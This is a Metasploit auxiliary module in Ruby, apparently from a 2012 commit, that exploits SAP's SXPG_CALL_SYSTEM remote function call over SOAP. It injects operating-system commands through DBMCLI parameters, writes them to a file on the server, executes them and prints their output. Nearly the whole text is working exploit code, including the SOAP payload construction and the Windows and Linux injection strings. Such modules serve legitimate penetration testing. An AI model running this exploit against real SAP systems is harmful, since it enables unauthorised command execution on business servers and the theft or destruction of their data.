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looks like I committed the wrong file first time round :(
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nmonkee committed Nov 14, 2012
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy. I'd also like to thank Chris John Riley,
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
##

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'SAP SOAP RFC DBMCLI Command Injection (via SXPG_CALL_SYSTEM)',
'Version' => '$Revision: $0.1',
'Description' => %q{
This module makes use of the SXPG_CALL_SYSTEM Remote Function Call
(via SOAP) to execute OS commands via DBMCLI command as configured in SM69.
},
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
'Author' => [ 'nmonkee' ],
'License' => BSD_LICENSE
)
register_options(
[
OptString.new('CLIENT', [true, 'Client', nil]),
OptString.new('USERNAME', [true, 'Username', nil]),
OptString.new('PASSWORD', [true, 'Password', nil]),
OptEnum.new('OS', [true, 'Target OS', "linux", ['linux','windows']]),
OptString.new('CMD', [true, 'Command to run', "id"])
], self.class)
end

def run_host(ip)
payload,command = create_payload(1)
exec_command(ip,payload,command)
payload,command = create_payload(2)
exec_command(ip,payload,command)
end

def create_payload(num)
command = ""
os = "ANYOS"
if datastore['OS'].downcase == "linux"
if num == 1
command = "-o /tmp/pwned.txt -n pwnie" + "\n!"
command << datastore['CMD'].gsub(" ","\t")
command << "\n"
end
command = "-ic /tmp/pwned.txt" if num == 2
elsif datastore['OS'].downcase == "windows"
if num == 1
command = '-o c:\\\pwn.out -n pwnsap' + "\r\n!"
space = "%programfiles:~10,1%"
command << datastore['COMMAND'].gsub(" ",space)
end
command = '-ic c:\\\pwn.out' if num == 2
end
data = '<?xml version="1.0" encoding="utf-8" ?>' + "\r\n"
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + "\r\n"
data << '<env:Body>' + "\r\n"
data << '<n1:SXPG_CALL_SYSTEM xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' + "\r\n"
data << '<ADDITIONAL_PARAMETERS>' + command + ' </ADDITIONAL_PARAMETERS>' + "\r\n"
data << '<COMMANDNAME>DBMCLI</COMMANDNAME>' + "\r\n"
data << '<OPERATINGSYSTEM>' + os + '</OPERATINGSYSTEM>' + "\r\n"
data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' + "\r\n"
data << '</n1:SXPG_CALL_SYSTEM>' + "\r\n"
data << '</env:Body>' + "\r\n"
data << '</env:Envelope>' + "\r\n"
return data, command
end

def exec_command(ip,data,command)
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_CALL_SYSTEM request")
begin
res = send_request_raw(
{
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
'method' => 'POST',
'data' => data,
'headers' => {
'Content-Length' => data.size.to_s,
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
'Authorization' => 'Basic ' + user_pass,
'Content-Type' => 'text/xml; charset=UTF-8'
}
}, 45)
if res and res.code != 500 and res.code != 200
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
return
else
success = true
print_status("[SAP] #{ip}:#{rport} - got response")
response = res.body if res
if response =~ /faultstring/
error = response.scan(%r{<faultstring>(.*?)</faultstring>}).flatten
sucess = false
end
output = response.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten
result = []
0.upto(output.length-1) do |i|
if output[i] =~ /E[rR][rR]/ || output[i] =~ /---/ || output[i] =~ /for database \(/
#nothing
elsif output[i] =~ /unknown host/ || output[i] =~ /; \(see/ || output[i] =~ /returned with/
#nothing
elsif output[i] =~ /External program terminated with exit code/
#nothing
else
temp = output[i].gsub("&#62",">")
temp_ = temp.gsub("&#34","\"")
temp__ = temp_.gsub("&#39","'")
result << temp__ + "\n"
end
end
saptbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "[SAP] SXPG_CALL_SYSTEM dbmcli Command Injection",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>["Output"]
)
for i in 0..result.length/2-1
saptbl << [result[i].chomp]
end
print (saptbl.to_s)
end
rescue ::Rex::ConnectionError
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
return
end
if sucess == false
0.upto(output.length-1) do |i|
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
end
end
end
end

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